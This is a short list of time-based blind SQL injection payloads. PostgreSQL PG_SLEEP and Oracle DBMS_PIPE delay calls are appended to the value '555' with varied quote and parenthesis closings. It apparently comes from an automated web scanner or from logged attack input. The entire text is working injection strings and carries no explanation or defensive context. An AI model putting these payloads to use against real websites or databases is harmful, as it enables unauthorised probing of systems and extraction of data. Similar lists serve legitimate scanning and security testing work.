555-1 OR 662=(SELECT 662 FROM PG_SLEEP(15))--

555-1) OR 555=(SELECT 555 FROM PG_SLEEP(15))--

555-1)) OR 23=(SELECT 23 FROM PG_SLEEP(15))--

555xssbY6vj' OR 120=(SELECT 120 FROM PG_SLEEP(15))--

555A2MCU6Nj') OR 708=(SELECT 708 FROM PG_SLEEP(15))--

555GmlZ4gO8')) OR 491=(SELECT 491 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555